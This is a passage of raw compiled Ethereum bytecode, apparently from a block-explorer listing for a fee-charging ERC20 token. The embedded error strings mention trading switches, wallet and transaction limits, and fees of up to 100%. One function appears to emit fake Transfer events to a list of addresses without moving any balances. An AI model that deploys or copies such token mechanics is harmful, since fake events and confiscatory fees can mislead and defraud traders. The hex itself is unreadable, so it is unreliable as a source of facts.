26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b35612b1f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9b90614507565b60405180910390fd5b611bad81612b9d565b50565b600080600080600080601754955060185494506019549350601454925060155491506016549050909192939495565b600080601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611c38612b1f565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611cd591906136e6565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f90614599565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbe9061462b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ea59190613710565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f18906146bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f879061474f565b60405180910390fd5b60008103611fa957611fa483836000612d04565b612b1a565b601260009054906101000a900460ff161561266e57611fc661111c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612034575061200461111c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561206d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120a7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120c05750600960149054906101000a900460ff16155b1561266d57601260039054906101000a900460ff166121ba57601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061217a5750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6121b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b0906147e1565b60405180910390fd5b5b601260019054906101000a900460ff1615612384576121d761111c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561225e57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122b85750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123835743601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061233e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233590614899565b60405180910390fd5b43601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124275750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124ce57601054811115612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124689061492b565b60405180910390fd5b600f5461247d83610fce565b826124889190613d65565b11156124c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c090614997565b60405180910390fd5b61266c565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125715750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125c0576010548111156125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290614a29565b60405180910390fd5b61266b565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661266a57600f5461261d83610fce565b826126289190613d65565b1115612669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266090614997565b60405180910390fd5b5b5b5b5b5b600061267930610fce565b90506000600a54821015905080801561269e5750600960159054906101000a900460ff165b80156126b75750600960149054906101000a900460ff16155b801561270d5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127635750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127b95750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127fd576001600960146101000a81548160ff0219169083151502179055506127e1612f83565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128b35750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128bd57600090505b60008115612ad057601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561292057506000601454115b156129ba5761294d606461293f6014548861314190919063ffffffff16565b61315790919063ffffffff16565b9050601454601654826129609190613e2b565b61296a9190613e9c565b601b600082825461297b9190613d65565b92505081905550601454601554826129939190613e2b565b61299d9190613e9c565b601a60008282546129ae9190613d65565b92505081905550612aac565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a1557506000601754115b15612aab57612a426064612a346017548861314190919063ffffffff16565b61315790919063ffffffff16565b905060175460195482612a559190613e2b565b612a5f9190613e9c565b601b6000828254612a709190613d65565b9250508190555060175460185482612a889190613e2b565b612a929190613e9c565b601a6000828254612aa39190613d65565b925050819055505b5b6000811115612ac157612ac0873083612d04565b5b8085612acd9190614a49565b94505b600960149054906101000a900460ff16158015612af95750601260029054906101000a900460ff165b15612b0a57612b0930888761316d565b5b612b15878787612d04565b505050505b505050565b612b27611ce1565b73ffffffffffffffffffffffffffffffffffffffff16612b45613222565b73ffffffffffffffffffffffffffffffffffffffff1614612b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9290614ac9565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6a906146bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd99061474f565b60405180910390fd5b612ded838383613236565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6a90614b5b565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f069190613d65565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f6a9190613710565b60405180910390a3612f7d84848461323b565b50505050565b6000612f8e30610fce565b905060008190506000808303612fa65750505061313f565b600b54831115612fb657600b5492505b60008390506000479050612fc982613240565b6000612fde824761347d90919063ffffffff16565b9050600061300986612ffb601b548561314190919063ffffffff16565b61315790919063ffffffff16565b90506000601a819055506000601b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161306190614bac565b60006040518083038185875af1925050503d806000811461309e576040519150601f19603f3d011682016040523d82523d6000602084013e6130a3565b606091505b505080955050601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516130ef90614bac565b60006040518083038185875af1925050503d806000811461312c576040519150601f19603f3d011682016040523d82523d6000602084013e613131565b606091505b505080955050505050505050505b565b6000818361314f9190613e2b565b905092915050565b600081836131659190613e9c565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd83856103e8856131bb9190613e9c565b6040518463ffffffff1660e01b81526004016131d993929190614bc1565b6020604051808303816000875af11580156131f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061321c9190614c0d565b50505050565b60008061322d613493565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff81111561325d5761325c614c3a565b5b60405190808252806020026020018201604052801561328b5781602001602082028036833780820191505090505b50905030816000815181106132a3576132a2613cbf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061336c9190614c7e565b816001815181106133805761337f613cbf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506133e5307f000000000000000000000000000000000000000000000000000000000000000084611ce9565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613447959493929190614dae565b600060405180830381600087803b15801561346157600080fd5b505af1158015613475573d6000803e3d6000fd5b505050505050565b6000818361348b9190614a49565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461351257600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613536565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561357557808201518184015260208101905061355a565b60008484015250505050565b6000601f19601f8301169050919050565b600061359d8261353b565b6135a78185613546565b93506135b7818560208601613557565b6135c081613581565b840191505092915050565b600060208201905081810360008301526135e58184613592565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613622826135f7565b9050919050565b61363281613617565b811461363d57600080fd5b50565b60008135905061364f81613629565b92915050565b6000819050919050565b61366881613655565b811461367357600080fd5b50565b6000813590506136858161365f565b92915050565b600080604083850312156136a2576136a16135ed565b5b60006136b085828601613640565b92505060206136c185828601613676565b9150509250929050565b60008115159050919050565b6136e0816136cb565b82525050565b60006020820190506136fb60008301846136d7565b92915050565b61370a81613655565b82525050565b60006020820190506137256000830184613701565b92915050565b600080600060608486031215613744576137436135ed565b5b600061375286828701613640565b935050602061376386828701613640565b925050604061377486828701613676565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126137a3576137a261377e565b5b8235905067ffffffffffffffff8111156137c0576137bf613783565b5b6020830191508360208202830111156137dc576137db613788565b5b9250929050565b6000806000604084860312156137fc576137fb6135ed565b5b600084013567ffffffffffffffff81111561381a576138196135f2565b5b6138268682870161378d565b9350935050602061383986828701613676565b9150509250925092565b600060ff82169050919050565b61385981613843565b82525050565b60006020820190506138746000830184613850565b92915050565b600060808201905061388f60008301876136d7565b61389c60208301866136d7565b6138a96040830185613701565b6138b66060830184613701565b95945050505050565b6000602082840312156138d5576138d46135ed565b5b60006138e384828501613676565b91505092915050565b60008060408385031215613903576139026135ed565b5b600061391185828601613676565b925050602061392285828601613676565b9150509250929050565b600060208284031215613942576139416135ed565b5b600061395084828501613640565b91505092915050565b613962816136cb565b811461396d57600080fd5b50565b60008135905061397f81613959565b92915050565b60008060006060848603121561399e5761399d6135ed565b5b60006139ac86828701613676565b93505060206139bd86828701613676565b92505060406139ce86828701613970565b9150509250925092565b60006060820190506139ed60008301866136d7565b6139fa6020830185613701565b613a076040830184613701565b949350505050565b613a1881613617565b82525050565b6000602082019050613a336000830184613a0f565b92915050565b60008060408385031215613a5057613a4f6135ed565b5b6000613a5e85828601613640565b9250506020613a6f85828601613970565b9150509250929050565b600080600060608486031215613a9257613a916135ed565b5b6000613aa086828701613970565b9350506020613ab186828701613676565b9250506040613ac286828701613676565b9150509250925092565b60008060408385031215613ae357613ae26135ed565b5b6000613af185828601613640565b9250506020613b0285828601613640565b9150509250929050565b6000606082019050613b2160008301866136d7565b613b2e60208301856136d7565b613b3b60408301846136d7565b949350505050565b600060c082019050613b586000830189613701565b613b656020830188613701565b613b726040830187613701565b613b7f6060830186613701565b613b8c6080830185613701565b613b9960a0830184613701565b979650505050505050565b6000604082019050613bb96000830185613a0f565b613bc66020830184613a0f565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613c1457607f821691505b602082108103613c2757613c26613bcd565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613c89602883613546565b9150613c9482613c2d565b604082019050919050565b60006020820190508181036000830152613cb881613c7c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613d2882613655565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d5a57613d59613cee565b5b600182019050919050565b6000613d7082613655565b9150613d7b83613655565b9250828201905080821115613d9357613d92613cee565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613df5602483613546565b9150613e0082613d99565b604082019050919050565b60006020820190508181036000830152613e2481613de8565b9050919050565b6000613e3682613655565b9150613e4183613655565b9250828202613e4f81613655565b91508282048414831517613e6657613e65613cee565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ea782613655565b9150613eb283613655565b925082613ec257613ec1613e6d565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b6000613f29602883613546565b9150613f3482613ecd565b604082019050919050565b60006020820190508181036000830152613f5881613f1c565b9050919050565b6000606082019050613f746000830186613701565b613f816020830185613701565b613f8e6040830184613701565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b6000613fcc602083613546565b9150613fd782613f96565b602082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061405e603383613546565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b60006140f0603083613546565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614182603983613546565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614214602983613546565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006142a6602583613546565b91506142b18261424a565b604082019050919050565b600060208201905081810360008301526142d581614299565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614338603483613546565b9150614343826142dc565b604082019050919050565b600060208201905081810360008301526143678161432b565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b60006143ca602a83613546565b91506143d58261436e565b604082019050919050565b600060208201905081810360008301526143f9816143bd565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b6000614436601a83613546565b915061444182614400565b602082019050919050565b6000602082019050818103600083015261446581614429565b9050919050565b60006040820190506144816000830185613a0f565b61448e6020830184613701565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006144f1602683613546565b91506144fc82614495565b604082019050919050565b60006020820190508181036000830152614520816144e4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614583602483613546565b915061458e82614527565b604082019050919050565b600060208201905081810360008301526145b281614576565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614615602283613546565b9150614620826145b9565b604082019050919050565b6000602082019050818103600083015261464481614608565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006146a7602583613546565b91506146b28261464b565b604082019050919050565b600060208201905081810360008301526146d68161469a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614739602383613546565b9150614744826146dd565b604082019050919050565b600060208201905081810360008301526147688161472c565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b60006147cb602283613546565b91506147d68261476f565b604082019050919050565b600060208201905081810360008301526147fa816147be565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000614883604983613546565b915061488e82614801565b606082019050919050565b600060208201905081810360008301526148b281614876565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b6000614915602683613546565b9150614920826148b9565b604082019050919050565b6000602082019050818103600083015261494481614908565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614981601383613546565b915061498c8261494b565b602082019050919050565b600060208201905081810360008301526149b081614974565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000614a13602783613546565b9150614a1e826149b7565b604082019050919050565b60006020820190508181036000830152614a4281614a06565b9050919050565b6000614a5482613655565b9150614a5f83613655565b9250828203905081811115614a7757614a76613cee565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614ab3602083613546565b9150614abe82614a7d565b602082019050919050565b60006020820190508181036000830152614ae281614aa6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614b45602683613546565b9150614b5082614ae9565b604082019050919050565b60006020820190508181036000830152614b7481614b38565b9050919050565b600081905092915050565b50565b6000614b96600083614b7b565b9150614ba182614b86565b600082019050919050565b6000614bb782614b89565b9150819050919050565b6000606082019050614bd66000830186613a0f565b614be36020830185613a0f565b614bf06040830184613701565b949350505050565b600081519050614c0781613959565b92915050565b600060208284031215614c2357614c226135ed565b5b6000614c3184828501614bf8565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614c7881613629565b92915050565b600060208284031215614c9457614c936135ed565b5b6000614ca284828501614c69565b91505092915050565b6000819050919050565b6000819050919050565b6000614cda614cd5614cd084614cab565b614cb5565b613655565b9050919050565b614cea81614cbf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d2581613617565b82525050565b6000614d378383614d1c565b60208301905092915050565b6000602082019050919050565b6000614d5b82614cf0565b614d658185614cfb565b9350614d7083614d0c565b8060005b83811015614da1578151614d888882614d2b565b9750614d9383614d43565b925050600181019050614d74565b5085935050505092915050565b600060a082019050614dc36000830188613701565b614dd06020830187614ce1565b8181036040830152614de28186614d50565b9050614df16060830185613a0f565b614dfe6080830184613701565b969550505050505056fea2646970667358221220ec7a2766e7e96d9d90bfbcbe16836a9aa5b997ec5bcad3fcf0c5912f90fcd64d64736f6c63430008130033000000000000000000000000398de627b9dd3e7a9a89db82c65c38efd195d03c0000000000000000000000007f7b7d4fa37f58837837b7180b47a955c622859f
Deployed Bytecode
0x6080604052600436106102555760003560e01c806395d89b4111610139578063d0889358116100b6578063e884f2601161007a578063e884f260146108ae578063f242ab41146108c5578063f2fde38b146108f0578063f3dc390214610919578063fab82a8e14610949578063fcbb7607146109755761025c565b8063d0889358146107c9578063db05e5cb146107f2578063dd62ed3e14610809578063de0e9a3e14610846578063e13b20071461086f5761025c565b8063a457c2d7116100fd578063a457c2d7146106d2578063a4c82a001461070f578063a9059cbb1461073a578063bb85c6d114610777578063c2b7bbb6146107a05761025c565b806395d89b411461060357806399e5b5c81461062e5780639a7a23d6146106575780639b6b5499146106805780639fe64094146106a95761025c565b806331f81511116101d25780635580145f116101965780635580145f1461050557806370a082311461052e578063715018a61461056b578063730c18881461058257806377b5312c146105ab5780638da5cb5b146105d85761025c565b806331f815111461041d578063395093511461044b5780634ada218b146104885780634b896a3e146104b357806352d65858146104dc5761025c565b806326ededb81161021957806326ededb81461035c578063293230b8146103855780632c3e486c1461039c5780632e82f1a0146103c7578063313ce567146103f25761025c565b806306fdde0314610261578063095ea7b31461028c57806318160ddd146102c9578063199ffc72146102f457806323b872dd1461031f5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b5061027661099e565b60405161028391906135cb565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae919061368b565b610a30565b6040516102c091906136e6565b60405180910390f35b3480156102d557600080fd5b506102de610a4e565b6040516102eb9190613710565b60405180910390f35b34801561030057600080fd5b50610309610a58565b6040516103169190613710565b60405180910390f35b34801561032b57600080fd5b506103466004803603810190610341919061372b565b610a5e565b60405161035391906136e6565b60405180910390f35b34801561036857600080fd5b50610383600480360381019061037e91906137e3565b610b56565b005b34801561039157600080fd5b5061039a610c33565b005b3480156103a857600080fd5b506103b1610ca0565b6040516103be9190613710565b60405180910390f35b3480156103d357600080fd5b506103dc610ca6565b6040516103e991906136e6565b60405180910390f35b3480156103fe57600080fd5b50610407610cb9565b604051610414919061385f565b60405180910390f35b34801561042957600080fd5b50610432610cc2565b604051610442949392919061387a565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d919061368b565b610cfc565b60405161047f91906136e6565b60405180910390f35b34801561049457600080fd5b5061049d610da8565b6040516104aa91906136e6565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d591906138bf565b610dbb565b005b3480156104e857600080fd5b5061050360048036038101906104fe91906138ec565b610e69565b005b34801561051157600080fd5b5061052c600480360381019061052791906138bf565b610f20565b005b34801561053a57600080fd5b506105556004803603810190610550919061392c565b610fce565b6040516105629190613710565b60405180910390f35b34801561057757600080fd5b50610580611016565b005b34801561058e57600080fd5b506105a960048036038101906105a49190613985565b61102a565b005b3480156105b757600080fd5b506105c06110f6565b6040516105cf939291906139d8565b60405180910390f35b3480156105e457600080fd5b506105ed61111c565b6040516105fa9190613a1e565b60405180910390f35b34801561060f57600080fd5b50610618611146565b60405161062591906135cb565b60405180910390f35b34801561063a57600080fd5b506106556004803603810190610650919061392c565b6111d8565b005b34801561066357600080fd5b5061067e60048036038101906106799190613a39565b6112a0565b005b34801561068c57600080fd5b506106a760048036038101906106a29190613a39565b611346565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906138ec565b6113f7565b005b3480156106de57600080fd5b506106f960048036038101906106f4919061368b565b6114ae565b60405161070691906136e6565b60405180910390f35b34801561071b57600080fd5b50610724611599565b6040516107319190613710565b60405180910390f35b34801561074657600080fd5b50610761600480360381019061075c919061368b565b61159f565b60405161076e91906136e6565b60405180910390f35b34801561078357600080fd5b5061079e6004803603810190610799919061392c565b6115bd565b005b3480156107ac57600080fd5b506107c760048036038101906107c2919061392c565b611685565b005b3480156107d557600080fd5b506107f060048036038101906107eb9190613a79565b6116d1565b005b3480156107fe57600080fd5b50610807611806565b005b34801561081557600080fd5b50610830600480360381019061082b9190613acc565b611858565b60405161083d9190613710565b60405180910390f35b34801561085257600080fd5b5061086d600480360381019061086891906138bf565b6118df565b005b34801561087b57600080fd5b506108966004803603810190610891919061392c565b6119bc565b6040516108a593929190613b0c565b60405180910390f35b3480156108ba57600080fd5b506108c3611ab5565b005b3480156108d157600080fd5b506108da611b07565b6040516108e79190613a1e565b60405180910390f35b3480156108fc57600080fd5b506109176004803603810190610912919061392c565b611b2d565b005b34801561092557600080fd5b5061092e611bb0565b60405161094096959493929190613b43565b60405180910390f35b34801561095557600080fd5b5061095e611bdf565b60405161096c929190613ba4565b60405180910390f35b34801561098157600080fd5b5061099c60048036038101906109979190613a39565b611c30565b005b6060600480546109ad90613bfc565b80601f01602080910402602001604051908101604052809291908181526020018280546109d990613bfc565b8015610a265780601f106109fb57610100808354040283529160200191610a26565b820191906000526020600020905b815481529060010190602001808311610a0957829003601f168201915b5050505050905090565b6000610a44610a3d611ce1565b8484611ce9565b6001905092915050565b6000600354905090565b600c5481565b6000610a6b848484611eb2565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ab6611ce1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2d90613c9f565b60405180910390fd5b610b4a85610b42611ce1565b858403611ce9565b60019150509392505050565b610b5e612b1f565b60005b83839050811015610c2d57838382818110610b7f57610b7e613cbf565b5b9050602002016020810190610b94919061392c565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c129190613710565b60405180910390a38080610c2590613d1d565b915050610b61565b50505050565b610c3b612b1f565b6001601260036101000a81548160ff0219169083151502179055506000601260006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600d5481565b601260029054906101000a900460ff1681565b60006009905090565b600080600080601260009054906101000a900460ff169350601260019054906101000a900460ff169250600f549150601054905090919293565b6000610d9e610d09611ce1565b848460026000610d17611ce1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d999190613d65565b611ce9565b6001905092915050565b601260039054906101000a900460ff1681565b610dc3612b1f565b6005811015610e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfe90613e0b565b60405180910390fd5b6103e8610e12610a4e565b82610e1d9190613e2b565b610e279190613e9c565b600f819055507f12528a3c61e0f3b2d6f